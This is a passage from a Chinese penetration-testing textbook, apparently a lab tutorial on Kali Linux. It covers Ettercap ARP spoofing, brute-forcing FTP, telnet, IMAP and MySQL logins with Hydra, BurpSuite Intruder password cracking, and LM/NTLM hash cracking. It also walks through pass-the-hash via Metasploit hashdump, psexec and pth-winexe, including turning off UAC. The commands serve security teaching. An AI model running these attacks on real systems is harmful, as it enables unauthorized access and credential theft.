[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f28719e4\Screenshot from 2017-06-27 20-21-49.png]
 
图12-23　Ettercap的工作界面
 
首先我们需要查看整个网络中可以进行欺骗的主机，这一点可以使用菜单栏“Hosts”选项中的“Hosts list”项来查看，如图12-24所示。
 
[image: 图片 5]
 
图12-24 Ettercap中的Hosts菜单项
 
执行“Hosts list”命令之后，就可以看到当前网络中所有的活跃主机列表。
 
这里面192.168.169.2是网关的地址，192.168.169.131是目标计算机的地址。我们将这两个地址作为Target。添加的方法为：首先选中192.168.169.2，然后单击下方的“add to Target1”，如图12-25所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\bd788a22\Screenshot from 2017-06-27 20-32-08.png]
 
图12-25　Ettercap中列出的活跃主机
 
然后按照同样的方法选中192.168.169.131，然后单击下方的“add to Target2”，这样就选择好了要欺骗的目标，如图12-26所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\608fa73b\Screenshot from 2017-06-27 20-32-15.png]
 
图12-26　选择目标
 
如果想要查看设置好的目标，可以单击菜单栏上的选项“Targets”，如图12-27所示。
 
[image: 图片 8]
 
图12-27　Ettercap中列出的目标
 
图12-28中列出了设置好的目标。
 
选择好了目标之后，我们就需要对这个目标进行ARP欺骗，这样目标才会将发往网关的数据发到我们的主机上。现在在菜单栏处选中“ARP poisoning”选项，如图12-29所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7207906a\Screenshot from 2017-06-27 21-07-05.png]
 
图12-28　Ettercap中列出的目标
 
[image: 图片 10]
 
图12-29　使用Ettercap对目标进行欺骗
 
接下来会弹出一个中间人攻击选项，这里面一共有两个可选项，勾选上其中“Sniff remote connections”即可，如图12-30所示。
 
一切设置完毕之后，就可以开始欺骗了，单击菜单栏上的“Start”选项，然后选中下拉菜单上的“Start sniffing”，如图12-31所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\bef18e9c\Screenshot from 2017-06-27 21-12-46.png]
 
图12-30　中间人攻击选项
 
[image: 图片 14]
 
图12-31　开始中间人攻击
 
现在从192.168.169.131发出的数据就都发送到我们的主机上了，此时单击Ettercap菜单栏上的view选项，然后选中connections就可以看到目标主机上所有的连接了，如图12-32所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\ae79bfc4\Screenshot from 2017-06-27 21-18-41.png]
 
图12-32　查看到的目标连接
 
成功执行这个命令之后，所有从目标发向网关的流量都将先经过你的计算机，而现在他与外界的所有通信都摆在你的眼前了。
 
12.5　小结
 
在这一章中介绍了如何在网络中进行嗅探和欺骗，这是我认为最为有效的一种攻击方式。几乎所有的网络安全机制都是针对外部的，而极少会防御来自内部的攻击。因此在网络内部进行嗅探和欺骗的成功率极高。
 
在很多经典的渗透案例中也都提到了这种攻击方式，例如国内最知名的一家IT企业的安全主管就曾经提到过，他在进入到企业后做的第一件事情就是利用网络监听截获了部门领导的电子邮箱密码。另外随着现在硬件的发展，也出现了有人使用装载了树莓派的无人机进入到受保护的区域，然后连接到无线网络进行网络监听的事件。
 
在下一章中，我们将会介绍针对身份认证方式的攻击。
 


第13章　身份认证攻击
 
网络的发展正在逐步地改变我们的生活和工作方式。我们现在越来越依赖网络上各种应用，例如当我们之间在进行通信的时候，通常的方式都会是QQ、微信或者电子邮箱；而当我们进行购物的时候，支付宝、微信支付以及各种银行的支付方式也渐渐取代了现金的交易方式。这些应用十分便利，无论你在哪里，只要找到一台可以连上互联网的计算机，都可以轻而易举地使用这些应用。但是这些应用必须有一种可靠的身份验证模式，这种模式指的是计算机及其应用对操作者身份的确认过程，从而确定该用户是否具有对某种资源的访问和使用权限。
 
目前最为常见的身份验证模式采用的仍然是“用户名+密码”的方式，用户自行设定密码，在登录时如果输入正确的密码，计算机就会认为操作者是合法用户。但是这种认证方式的缺陷也很明显，如何保证密码不被泄露以及不被破解已经成为了网络安全的最大问题之一。这一章中，我们会介绍基于密码破解的身份认证攻击。密码破解是指利用各种手段获得网络、系统或资源密码的过程，这个过程不一定需要使用复杂的工具。
 
在本章中将会就我们平时所使用的几种常见应用进行身份认证的攻击，这几种应用都采用了密码的认证方式，这里我们将围绕以下几点展开。
 
 
 	简单网络服务认证的攻击
 
 	使用Brupsuite对网络认证服务的攻击
 
 	哈希密码破解
 
 	字典文件
 

 
13.1　简单网络服务认证的攻击
 
网络上很多常见的应用都采用了密码认证的模式，例如FTP、telnet、SSH等。这些应用被广泛地应用在了各种网络设备上，如果这些认证模式出现了问题，那就意味着网络中的大量设备将会沦陷。不幸的是目前确实已经有许多网络设备由于密码设置得不够强壮而遭到了入侵。
 
针对这些常见的网络服务认证，我们可以采用一种“暴力破解”的方法。这种方法的思路很简单，就是把所有的可能的密码都尝试一遍，通常我们会将这些密码保存为一个字典文件。实现起来一般有以下3种思路。
 
1．纯字典攻击
 
这种思路最为简单，攻击者只需要利用攻击工具将用户名和字典文件中的密码组合起来，一个个地去进行尝试即可。破解成功的几率与选用的字典有很大的关系，因为目标用户通常不会选用毫无意义的字符组合作为密码，所以对目标用户有一定的了解可以帮助我们更好地选择字典。以我的经验而言，大多数字典文件都是以英文单词为主，这些字典文件更适合破解以英语为第一语言用户的密码，对于破解母语非英语的用户设置的密码效果并不好。
 
2．混合攻击
 
现在的各种应用对密码的强壮度都有了限制，例如我们其实在注册一些应用的时候，通常都不允许我们使用“123456”或者“aaaaaaa”这种单纯的数字和字母的组合，因此很多人会采用字符+数字的密码方式，例如使用某人的名字加上生日就是一种很常见的密码（很多人都以自己孩子的英文名字加出生日期作为密码），如果我们仅仅使用一些常见的英文单词作为字典的内容，显然具有一定的局限性。而混合攻击则是依靠一定的算法对字典文件中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字，比如说一个单词“test”，经过算法处理之后就会变成“test1”“test2”……“test1981”“test19840123”等。
 
3．完全暴力攻击
 
这是一种最为粗暴的攻击方式，实际上这种方式并不需要字典，而是由攻击工具将所有的密码穷举出来，这种攻击方式通常需要很长的时间，也是最为不可行的一种方式。但是在一些早期的系统中，都采用了6位长度的纯数字密码，这种方法则是非常有效的。
 
图13-1中我们给出了一个使用认证登录的界面，IP地址为192.168.1.103的服务器上提供了FTP服务，这个服务的拥有者将密码提供给了合法的用户。用户通过密码认证之后就可以访问里面的资源了。
 
下面我们就来讲解一下针对这种网络身份验证的渗透过程，这次我们使用Hydra作为渗透工具。Hydra的本意为希腊神话中的九头蛇，是一款非常强大的网络服务密码破解工具。Hydra 既有Windows版本也有Linux版本，它的模块引擎使得它可以很轻易地支持新的服务协议。当前最新版本的Hydra是8.6，支持对30多种常见的网络服务或协议的破解，其中包括AFP、Cisco AAA、FTP、HTTP、POP3、SNMP、SSH、Telnet等。
 
在kali linux 2中已经安装了Hydra，我们可以在Applications中依次单击“05-Password Attacks”“Online Attacks”“hydra”来启动这个工具，如图13-2所示。
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图13-1　一个FTP的身份验证界面
 
[image: 图片 2]
 
图13-2　在Applications分类下的Hydra
 
Hydra是一款命令行式的工具，它的命令格式如下：
 
hydra

[[[-l LOGIN|-L FILE] [-p PASS|-P FILE|-x OPT]] | [-C FILE]] [-e nsr]

[-u] [-f] [-F] [-M FILE] [-o FILE] [-t TASKS] [-w TIME] [-W TIME]

[-s PORT] [-S] [-4/6] [-vV] [-d]

server service [OPTIONAL_SERVICE_PARAMETER]
 
 
 	上面语法中使用的参数含义如下：
 

 
-R                     根据上一次进度继续破解

-S                     使用SSL协议连接

-s PORT                 指定端口

-l LOGIN or -L FILE    指定用户名或者指定用户名字典(文件),注意大小写

-p PASS  or -P FILE    指定密码破解或者指定密码字典(文件)，注意大小写

-x MIN:MAX:CHARSET    产生长度从MIN到MAX的密码，CHARSET表示使用的字符集，1表示数

                    字，a表示小写数字，A表示大写数字

-e nsr                n表示使用空密码探测，s表示将用户名作为密码，r表示将用户名倒序作

                    为密码

-C FILE                使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数

-o                     指定输出文件

-f                    在找到第一个用户名和密码之后就退出

-t                     指定多线程数量，默认为16个线程

-vV                     显示详细过程

server                目标ip

service                指定服务名，支持的服务和协议
 
下面我们就使用Hydra来破解目标FTP的密码，这个工具既可以使用纯字典方式，也可以使用完全暴力破解方式。首先按照第一种方式来尝试破解，这里需要使用到一个字典文件，你可以在互联网上下载一个字典文件，也可以使用工具生成（这部分我们会在本章的最后讲到）。这里我从互联网上下载了一个包含常见弱口令的字典文件，名为wordlist.txt。然后将这个文件放置在Downloads文件夹中。好了，接下来就开始对目标的破解，这里我们为了节省时间，假设事先已经知道用户名为admin，只需破解密码：
 
hydra -l admin -P /root/Downloads/wordlist.txt ftp://192.168.1.103
 
图13-3给出了执行的具体过程。
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图13-3　Hydra执行攻击的界面
 
如果成功地尝试出了用户名和密码的话，结果将会以绿颜色显示。Hydra得到的结果如图13-4所示。
 
[image: 图片 2]
 
图13-4　Hydra得到的结果
 
接下来，我们来尝试不使用字典，而使用完全暴力破解的方式。假设我们知道密码为4位，而且都为数字，那么就可以使用4∶4∶1来表示所有的长度为4位的纯数字密码。由于这种破解方式很慢，所以这里我们将线程设置为64（默认为16）。这次的破解命令如下：
 
hydra -l admin -x 4:4:1 ftp://192.168.1.103 -t 64
 
执行的过程如图13-5所示。
 
[image: 图片 4]
 
图13-5　Hydra执行完全暴力破解攻击的界面
 
在攻击的最后，我们得到了可以登录的用户名和密码，图13-5中绿色显示的字符分别就是端口号、服务、IP地址、用户名和密码。
 
其他大部分常见协议的破解方法都大同小异，只有Web页面的区别较大。下面列出了一些常见协议的破解命令。
 
破解telnet：
 
# hydra 目标ip地址 telnet -l 用户名 -P 密码字典  -s 23
 
破解imap：
 
# hydra -L 用户名字典 -P 密码字典 目标地址 service imap
 
破解mysql：
 
# hydra 目标地址  mysql -l root -P 密码文件
 
关于hydra的更多详细使用你可以参阅https://www.aldeid.com/wiki/Thc-hydra，关于Web页面的密码登录破解过程，我们这里采用另一种更通用的工具BurpSuite来进行讲解。
 
13.2　使用BurpSuite对网络认证服务的攻击
 
BurpSuite 是用于攻击Web 应用程序的集成平台。这个平台中集成了许多工具。这一节我们只讲述其中的一个重要功能，就是如何使用它来破解一些网站的密码。首先我们先来查看一个有用户名和密码的登录界面，如图13-6所示。
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图13-6　一个需要用户名和密码的登录界面
 
接下来我们来简单地研究一下这个页面登录的流程。简单来说，用户登录这个页面，在这个页面中的两个文本框中输入用户名“admin”和密码“123456”之后点击“确定”按钮，这个页面就会将这个用户名“admin”和密码“123456”打包成数据包然后提交到服务器端进行验证，我们先将这个数据包称为数据包A。
 
然后我们再使用“admin”作为用户名，“abc123”作为密码登录一次，这次产生的数据包称为数据包B。
 
对两个数据包A和B进行比较，你就会发现其实两个数据包之间除了密码处不一样之外，其他的地方都是一样的。
 
那么可以设想一下，在破解密码时只需要将数据包A复制10000个，然后使用各种可能的密码，例如“abcdef”“111111”“000000”来替换“123456”，这样就产生了10000个只有密码项不同的数据包，将这些数据包发送到服务器，然后查看服务器的反应，就可以得出这10000个密码中哪个是正确的（当然也有可能都不正确，那就需要你使用更多的密码）。不过实际情况要比这复杂一些，因为要涉及校验码等操作。
 
了解了这个思路以后，我们就可以来具体实现这种攻击方式了，但是我们需要一个工具来实现这一切，这里使用BurpSuite来作为工具，首先在Kali Linux 2中启动这个工具，如图13-7所示。
 
[image: 图片 2]
 
图13-7　在Applications中启动burpsuite
 
BurpSuite在这里的主要作用是在用户使用的浏览器和目标服务器之间充当一个中间人的角色。这样当我们在浏览器中输入数据之后，数据包就是首先提交到BurpSuite处，BurpSuite可以将这个数据包进行复制，修改之后再提交到服务器处。所以BurpSuite此时相当于一个代理服务器。不过BurpSuite的功能要比这强大得多，但是这是一款商业软件，Kali Linux 2中集成了免费版，所以我们这里只简单介绍它破解密码的功能，首先启动BurpSuite，其工作界面如图13-8所示。
 
[image: 图片 3]
 
图13-8　BurpSuite的工作界面
 
其次我们要将BurpSuite设置成代理工作模式，单击选项卡上的“Proxy”。
 
[image: 图片 4]
 
图13-9　将BurpSuite设置成代理工作模式
 
然后切换至proxy选项卡的Option选项下，选择127.0.0.1:8080，如图13-10所示。
 
[image: 图片 5]
 
图13-10　将BurpSuite设置为代理服务器
 
现在BurpSuite成为了一个工作在8080端口上的代理服务器，接下来我们就需要在浏览器中将代理指定为BurpSuite。
 
然后打开使用的浏览器，Kali Linux 2中默认使用的浏览器为Firefox ESR，然后单击右侧的工具菜单，如图13-11所示。
 
[image: 图片 7]
 
图13-11　在Firefox中设置代理（1）
 
然后依次在Firefox中选中“Advanced”“Network”“Settings”，如图13-12所示，注意每种浏览器中设置都不一样，需要考虑具体情况。
 
[image: 图片 8]
 
图13-12　在Firefox中设置代理（2）
 
打开Setting工作界面之后，在代理界面中进行设置，选中“Manual proxy configuration：”，在HTTP Proxy处输入127.0.0.1，在Port处输入8080，如图13-13所示。
 
设置完成之后，单击“OK”按钮。然后我们就用这个浏览器来访问目标登录界面，我这里的目标登录界面的地址为http：//192.168.1.103/Webadmin/，如图13-14所示，但是需要注意的是此时的页面不会有任何变化。
 
[image: 图片 10]
 
图13-13　在Firefox中设置代理（3）
 
[image: 图片 11]
 
图13-14　在浏览器中输入目标地址
 
因为此时浏览器中向目标服务器发送的请求都被BurpSuite所截获，所以现在服务器并没有返回任何数据。我们现在切换回BurpSuite，来处理截获的数据包，通常有3种方法，即放行（Forward）、丢弃（Drop）、操作（Action）。
 
[image: 图片 12]
 
图13-15　BurpSuite对数据包的几种操作
 
在这里我们要选择放行之前的数据包，这样才能正常访问登录界面。执行的方法是依次点击图13-15中所示的方框内的“1”“2”“3”对应的按钮。
 
[image: 图片 13]
 
图13-16　目标登录界面
 
接下来我们来构造登录数据包，在登录页面中，输入一个用户名admin（在这个例子中，我们假设已经知道正确的用户名为admin，密码未知），密码随意输入一个，例如“000000”，然后单击“确定”按钮，如图13-17所示。
 
切换到BurpSuite，这时的“Intercept”变成黄颜色，表示截获到了数据包，这个数据包的格式如下所示，最关键的是红颜色所括起来的部分，如图13-18所示。
 
[image: 17-1382 改图0321\1317.tif]
 
图13-17　在登录界面输入用户名和密码
 
[image: 图片 16]
 
图13-18　截获到的登录数据包
 
数据包其他的部分都是一样的，只有红颜色的部分不一样，按照我们之前的思路，只需要用字典中的单词替换“000000”即可。BurpSuite中有相关的模块，我们只需要在文字区域内单击右键，然后在弹出的菜单中选择“Send to Intruder”，如图13-19所示。
 
然后单击上面的“Intruder”选项卡，并在其中选择“Positions”，如图13-20所示。
 
[image: 图片 17]
 
图13-19　将数据包转到“Intruder”模块
 
[image: 图片 18]
 
图13-20 “Intruder”模块界面
 
在这个模块中，我们需要向BurpSuite指明密码所在的位置，在这个操作界面中，BurpSuite并不能确切地知道密码所在的位置，但是它给出了4个可能的位置，也就是图13-20中带底纹的部分。BurpSuite中使用一对“$”来前后表示密码的区域，我们在这里单击右边的“Clear $”按钮，清除所有默认参数，如图13-21所示。
 
[image: 图片 19]
 
图13-21　单击"Clear$"
 
然后我们鼠标移动到密码位置，也就是“000000”的前面，单击按钮“Add$”；再将鼠标移动到“000000”后面，单击按钮“Add$”。这样就成功地标示出了密码的位置，也就是一会要用字典替换的位置，如图13-22所示。
 
[image: 图片 20]
 
图13-22　设置完密码位置的“Intruder”
 
切换到“Payloads”选项，选择要使用的“Payload type”，这里我们选择要设定进行密码破解目标的个数。例如我们只破解密码，这里Payaload set的值就是1；比如我们既不知道用户名又不知道密码的时候，这里就要选择2。Payload type的类型选择“Simple list”，如图13-23所示。
 
[image: 图片 21]
 
图13-23　Payloads的操作界面
 
免费版比专业版少了不少功能，接下来我们要加入使用的字典文件，在如图13-24所示的界面中选中load按钮。
 
[image: 图片 22]
 
图13-24　选择要使用的字典（1）
 
在这里我们选中上一节中下载的wordlist.txt作为破解的字典，如图13-25所示。
 
[image: 图片 23]
 
图13-25　选择要使用的字典（2）
 
好了，设置完成之后，单击菜单栏的“Intruder”，选择“Start attack”，如图13-26所示。
 
[image: 图片 25]
 
图13-26　开始Intruder攻击
 
好了，现在就开始扫描了，免费版由于限制了多线程，所以进展得十分慢，如图13-27所示。
 
[image: 图片 29]
 
图13-27　攻击过程
 
扫描到差不多的时候，我们可以按照Statu或者Status或者Length（长度）大小排序。以Status为例我们会看到所有的数据包分成两种，一种为302，其他的为200，如图13-28所示。当然有时可能会不同，那么就需要查看一下Length长度，一般Length长度与大多数数据包不同的就是正确的。
 
[image: 图片 31]
 
图13-28　对数据包发送的结果进行排序
 
使用BurpSuite其实是一种十分通用的办法，但是如果目标网站设置了验证码或者限制登录次数的话，这种方法则不适用了。
 
13.3　哈希密码破解
 
除了在登录认证时采用暴力穷举之外，保存密码的数据库泄露也是密码被破解的主要原因。某些网站的安全机制设置有缺陷，导致自身的关键数据库被渗透。很多用户在不同网站使用的是相同的账号密码，因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址，这就是著名的撞库攻击。例如2014年12月25日开始在互联网上疯传的12306网站用户信息，就是黑客通过“撞库攻击”所获得。
 
这种泄露的数据库中的数据大都是明文方式，也就是说如果用户的密码是“999999”，那么保存在数据库中的密码也是“999999”，这样的话，如果数据库泄露了，那么用户的密码自然也就泄露了。不过，现在的数据库大都采用了哈希加密的方式保存。例如微软的Windows操作系统就采用哈希加密的方式保存登录密码。
 
我们经常会有这样的经历，在进行某种认证的时候，突然发现自己忘记了密码。这个时候只能是重新设置一个密码，如果你问服务人员你的密码时，这时候服务人员往往会告诉你“他们也查不到你的密码”，这时你会不会觉得奇怪，既然服务人员不知道我的密码，那么他们怎么知道这些密码是不是正确的呢？
 
这就是因为这些密码都是经过了哈希加密之后保存到数据库中，密码的哈希值就是对口令进行一次性的加密处理而形成的杂乱字符串。这个加密的过程被认为是不可逆的，也就是说，人们认为从哈希值中是不可能还原出原口令的。例如，密码“999999”经过哈希加密（MD5）之后就变成了“52C69E3A57331081823331C4E69D3F2E”。这个哈希值保存在了数据库中，在进行验证的时候，我们只需要将输入的值经过哈希加密之后再与保存的值进行比较，就可以知道密码是否正确。但是即使黑客获得了“52C69E3A57331081823331C4E69D3F2E”，也不能逆向还原出原来的密码“999999”。这样就保证了保存密码的数据库即使被攻破，也不会导致密码泄露。
 
但是现在由于各种攻击手段的出现，哈希加密也并非是安全的，下面我们来介绍一些常见哈希加密的破解方法。
 
13.3.1　对最基本的LM哈希进行破解
 
Windows XP操作系统可以说是微软影响力最大的产品，虽然这款系统在大多数人眼中已经是老迈不堪，就连微软自己也已经在2014年宣布放弃了对其的支持，但是截止到2016年世界上仍然有11.5%的计算机在使用它。这个比例让Windows XP依旧稳稳地处于计算机操作系统使用率的第3位（第1位和第2位分别是Windows 7和Windows 10）。目前由于软件兼容性的问题，很多政府部门和银行仍然在使用Windows XP。因此即使在现在，我们仍然很有必要来研究一下Windows XP的安全性问题。
 
首先我们来研究的就是Windows XP的密码安全。我们对于Windows XP开机时或者远程连接时的登录界面并不陌生，这个界面我们需要输入用户名和密码，操作系统会将我们输入的信息与保存的信息进行比对，如果相同的话，就会让我们进入系统。那么是不是我们趁着计算机的主人离开计算机的时候，就可以偷偷地将里面保存的密码找出来偷走呢？其实我在刚刚接触计算机的时候，就一直有这个想法。
 
事实上，这个想法并非是天方夜谭，因为Windows XP中确实保存了密码，而且这个密码也确实可以找到。这个密码就保存在了C:\windows\system32\config\SAM中。在Windows XP和Windows 2003中，我们都可以通过工具来抓取到完整的LM HASH。这时我们可以使用一款名为SAMInside的工具来完成这个工作，其工作界面如图13-29所示。SAMInside为一款俄罗斯人出品的Windows密码恢复软件，支持Windows NT/2000/XP/ Vista操作系统,主要用来恢复Windows的用户登录密码。
 
[image: 图片 421]
 
图13-29　SAMInside的工作界面
 
需要注意的一点是，SAMInside需要依靠读取破解的系统中SAM、system两个文件破解出用户密码。这两个文件均位于C:\WINDOWS\system32\config文件夹中。但是在操作运行时这两个文件是受到保护的，无法进行读取操作。因此我们需要在dos下，或者在winpe下使用这个工具来查看这个SAM文件。
 
执行这个工具之后，SAMInside中就会显示出Windows XP中的密码。
 
那么Windows XP是如何对密码进行加密的呢？这个系统采用了一种名为LM哈希的加密模式。下面我们就给出加密的过程：
 
 
 	输入的密码值最多为14个字符。
 
 	将输入的密码转换为大写字符。
 
 	将密码大写之后转换为十六进制字符串。
 
 	密码不足14字节将会用0来补全。
 
 	固定长度的密码被分成两组7byte部分。
 
 	将每一组7字节的十六进制转换为二进制，每7bit一组末尾加0，再转换成十六进制组成得到2组8字节的编码。
 
 	上步骤得到的8byte二组，分别作为DES key为“KGS!@#$% ”进行加密。
 
 	将二组DES加密后的编码拼接，得到最终LM哈希值。
 

 
后来对这个算法进行了改进，目前的操作系统拥有多种加密方法，其中一种最为有效的方法是就是“Salting the password”，所谓加Salt，就是加点“佐料”。当用户首次提供密码时（通常是注册时），由系统自动往这个密码里加一些“Salt值”，这个值是由系统随机生成的，并且只有系统知道。然后再散列。而当用户登录时，系统为用户提供的代码撒上同样的“Salt值”，然后散列，再比较散列值，然后确定密码是否正确。这样，即便两个用户使用了同一个密码，由于系统为它们生成的Salt值不同，他们的散列值也是不同的。即便黑客可以通过自己的密码和自己生成的散列值来找具有特定密码的用户，但这个几率太小了（密码和salt值都得和黑客使用的一样才行）。不过LM哈希算法中并没有使用这个机制，所以虽然我们不能直接由hash值推导出密码，但是两个相同的密码进行LM hash加密之后的值是相同的，因此也为我们提供了破解LM哈希加密密码的方法。
 
13.3.2　在线破解LM密码
 
现在有很多网站都提供了破解LM哈希加密密码的服务，也就是说你只需要在这些网站上提交找到的hash值，这些网站就会在自己的数据库里面进行比对，如果找到这个哈希值的话，就可以得到对应的密码了。这些网站大都是用一种名为彩虹表的技术。你可以访问http://www.objectif-securite.ch/en/ophcrack.php来实现在线破解LM哈希和NT哈希的密码。图13-30给出了这个网站的截图，其中右下方的两个文本框就可以实现密码哈希加密的运算。
 
[image: 图片 1]
 
图13-30　objectif-securite网站的页面
 
可以先尝试一些常见密码的哈希值破解（当然这是出于实验的目的），然后逐渐加大密码的难度。下面我们对一个已经加密的值“32ed87bdb5fdc5e9cba88547376818d4”（NT 哈希加密）进行破解，破解的结果如图13-31所示。
 
[image: 图片 2]
 
图13-31　哈希值的逆向运算
 
在线破解需要进行排队，这个网站主页的下方提供了彩虹表下载，我们可以下载这些彩虹表到本机使用。
 
前两个彩虹表是免费的，分别保存了LM哈希和NT哈希两种加密方式的数据。
 
[image: 图片 3]
 
图13-32　可以下载的彩虹表
 
13.3.3　在Kali Linux中破解哈希值
 
在线破解哈希值十分简单，下面我们也来看看如何在Kali Linux中破解哈希值，这里我们可以使用工具“Find my hash”，这个工具的语法为：
 
findmyhash<Encryption Type> -h hash
 
实际应用中，这个工具其实最适合用来破解MD5加密的哈希，并不适合LM或者NTLM加密的密码破解。这里面我们提到了MD5、LM、NTLM 这3种加密方法，那么我们如何知道手中的Hash值是通过哪一种加密方法得到的呢？这一点很关键，因为不同的加密方法也有不同的解密方式。同样Kali中提供了两种用来分辨不同加密方式的工具：一种是“hash-identifier”，另一个是Hash ID。
 
Hash-identifier的使用方法很简单。在Kali Linux 2中启动一个终端输入“hash-identifier”，如图13-33所示。
 
[image: 图片 4]
 
图13-33　hash-identifier的工作界面
 
将加密之后的哈希值输入。
 
hash-identifier就会分析出输入值的可能加密方式，如图13-34所示，完成以后使用ctrl-c退出即可。
 
[image: 图片 6]
 
图13-34　hash-identifier的结果
 
另外Hash ID也是一个十分有效的工具，打开一个终端，然后输入hashid，然后输入要破解的哈希值，按下回车键。
 
如图13-35所示，Hash ID列出了这个值的可能加密方式，但是这里面列出的方式很多，我们还需要进行测试。
 
[image: 图片 5]
 
图13-35　hash-id的计算结果
 
13.3.4　哈希值传递攻击
 
在上一节中，我们已经介绍了如何破解基于LM 哈希方法加密的Windows密码，但是Windows中除了会使用LM哈希方法之外，还会使用NTLM加密方法对密码进行加密。这是一种要比LM哈希安全性高很多的方法。刚才我们只花费了一点时间就实现了对LM哈希加密密码的破解，但是如果使用的是NTLM加密的呢，花费的时间是不是要多一些了？
 
而实际上，我们无需去进行这个密码的破解工作。如果已经取得了一台计算机中的加密之后的密码值，无论是使用LM哈希还是NTLM 哈希加密的，我们都可以利用这个值直接获得系统的权限，这种方法被称为“哈希值传递攻击”。这是一种经典的攻击方法，虽然每一种网络攻击方法慢慢地都会过时，但是这种攻击方法目前仍然可以起作用，而且这种攻击方法也可以为我们提供一个优秀的思路。
 
目前最新的操作系统采用了一些可以阻止这种“哈希值传递攻击”的机制，目前的Windows 7操作系统就使用了用户账户控制 (User Account Control)技术 。这个技术最早出现于Windows Vista，并在更高版本的操作系统中保留了下来，它可以阻止恶意程序（有时也称为“恶意软件”）损坏系统，同时也可以帮助组织部署更易于管理的平台。
 
使用 UAC，应用程序和任务总是在非管理员账户的安全权限中运行，但管理员专门给系统授予管理员级别的访问权限时除外。UAC会阻止未经授权应用程序的自动安装，防止无意中对系统设置进行更改。这种机制已经解决了Windows XP的大量安全方面的问题。但是这种机制是可以关闭的。所以“哈希值传递攻击”这种方法仍然有我们值得学习的地方。
 
现在我们以一个装有Windows 7操作系统的虚拟机来作为攻击的目标。我们需要做一些准备工作，首先开启Windows 7操作系统中的文件共享功能，最简单的做法就是共享一个文件夹。这一点很重要，如果我们不这样做的话，就无法实现远程攻击。
 
我们要关闭这个系统上的UAC功能，关闭的步骤如下所示。
 
1）在开始菜单的运行中输入UAC，如图13-36所示。
 
[image: 图片 6]
 
图13-36 在运行中输入UAC
 
2）这样就可以打开“用户账户控制设置”，然后将这里面左侧的滑动条拖动到最下方，如图13-37所示。
 
[image: 图片 7]
 
图13-37　将计算机消息改为从不通知
 
3）然后单击“确定”，重新启动计算机。
 
好了，现在就可以开始我们的攻击了。首先我们需要想办法获得目标系统的加密之后的密码哈希值，之前我们已经介绍了两种方法。就是利用winpe启动系统，然后复制出这个sam文件。
 
另外当我们利用metasploit控制住目标计算机的时候，也可以获取它的密码哈希值。下面我们来演示一下，当我们获取了一个目标上的meterpreter权限之后，如何获取它的密码哈希值，如图13-38所示。
 
[image: 图片 8]
 
图13-38　使用一个meterpreter
 
下面我们要从已经成功渗透的计算机中导出加密之后的密码值，这个操作需要系统级（管理员）级别的控制权限，而且需要关闭目标上的UAC机制。在我们这个实验中，事先已经关闭了UAC机制所以无需再进行这方面的操作。如果事先没有关闭的话，就可以使用bypassuac_injection模块来远程关闭。本实验中，我们只需要提高系统的控制权限即可，这里我们可以使用“getsystem”命令，如图13-39所示。
 
[image: 图片 9]
 
图13-39　获取系统级管理权限
 
好了，我们已经提升了控制权限，然后我们使用getuid获取机器名，如图13-40所示。
 
[image: 图片 10]
 
图13-40　获取用户名
 
好了，最重要的地方开始了，现在我们就可以开始导出目标系统的密码hash值了，使用的命令是hashdump，如图13-41所示。
 
[image: 图片 11]
 
图13-41　导出系统哈希值
 
好了，记下来这个值。现在我们拥有了这台主机的用户名和密码加密以后的hash值，如果我们可以像拥有用户名和密码一样地登录系统就好了，Metasploit中的psexec可以帮助我们完成这个任务。
 
1）首先使用exit命令退出当前的会话。
 
2）然后启动psexec模块，如图13-42所示。
 
[image: 图片 12]
 
图13-42　启用psexec模块
 
3）使用show options查看这个模块的用法。
 
这里面我们必须设置的参数包括远程主机的IP地址、远程主机的用户名、远程主机的密码，如图13-43所示，当然这里面的密码指的是我们刚刚获得的密码加密之后的哈希值。
 
[image: 图片 13]
 
图13-43　显示这个模块的用法
 
如图13-44所示，下面我们来设置这些参数。
 
[image: 图片 14]
 
图13-44　利用哈希值登陆
 
好了，现在我们成功利用这个加密之后的密码值登录到目标系统上了，怎么样，我们甚至完全不需要对这个密码进行破解。
 
在Kali中还包含了一些专门用来实现“哈希传递攻击”的工具集合。我们可以在菜单中启动这个工具，这些工具位于工具分类中的05-密码攻击中，如图13-45所示。
 
[image: 图片 15]
 
图13-45　哈希值传递攻击分类
 
这些工具可以完成很多功能，这里我们以PTH-winexe为例。这个工具是一个命令行式的工具，启动之后的界面如图13-46所示。
 
[image: 图片 16]
 
图13-46　PTH-winexe的帮助界面
 
这个工具的使用语法如下：
 
pth-winexe -U [计算机名/用户名]%[密码的哈希值] //[目标IP][命令]
 
命令成功执行之后就可以获得目标主机的一个命令行控制。但是这个工具的使用前提是目标系统中必须关闭了UAC功能。
 
13.4　字典文件
 
我们在很多影视作品中都会看到这个情节，某黑客信誓旦旦地保证“一天之内我就可以攻破这个系统”，然后就是特效，显示屏幕上一个又一个的词汇不断地变换。这个过程正如我们在本章第一节中讲过的一样。当对密码进行破解的时候，一个字典文件是必不可少的。所谓的字典文件就是一个由大量词汇构成的文件。
 
在Kali linux 2系统中字典文件的来源一共有3个，如下所示。
 
 
 	使用字典生成工具来制造自己需要的字典，当我们需要字典文件，手头又没有合适的字典文件时，就可以考虑使用工具来生成所需要的字典文件。
 
 	使用Kali Linux中自带的字典，Kali Linux中将所有的字典都保存在了/usr/ share/wordlists/目录下，如图13-47所示。
 

 
[image: 图片 8]
 
图13-47　Kali linux中自带的字典
 
 
 	从互联网上下载热门的字典，你可以访问https://wiki.skullsecurity.org/Passwords来查看最新的字典文件，如图13-48所示。
 

 
[image: 图片 7]
 
图13-48　https://wiki.skullsecurity.org/Passwords中带的字典
 
这一节我们来重点介绍第一种方法，所在Kali Linux 2操作系统中提供了大量的字典生成工具，所有这些工具中我最推荐的就是Crunch这款工具。Crunch是一款运行在Linux中的字典生成工具，它是由Mimayin和Bofh28所开发的，利用它可以灵活地定制自己的密码字典文件。
 
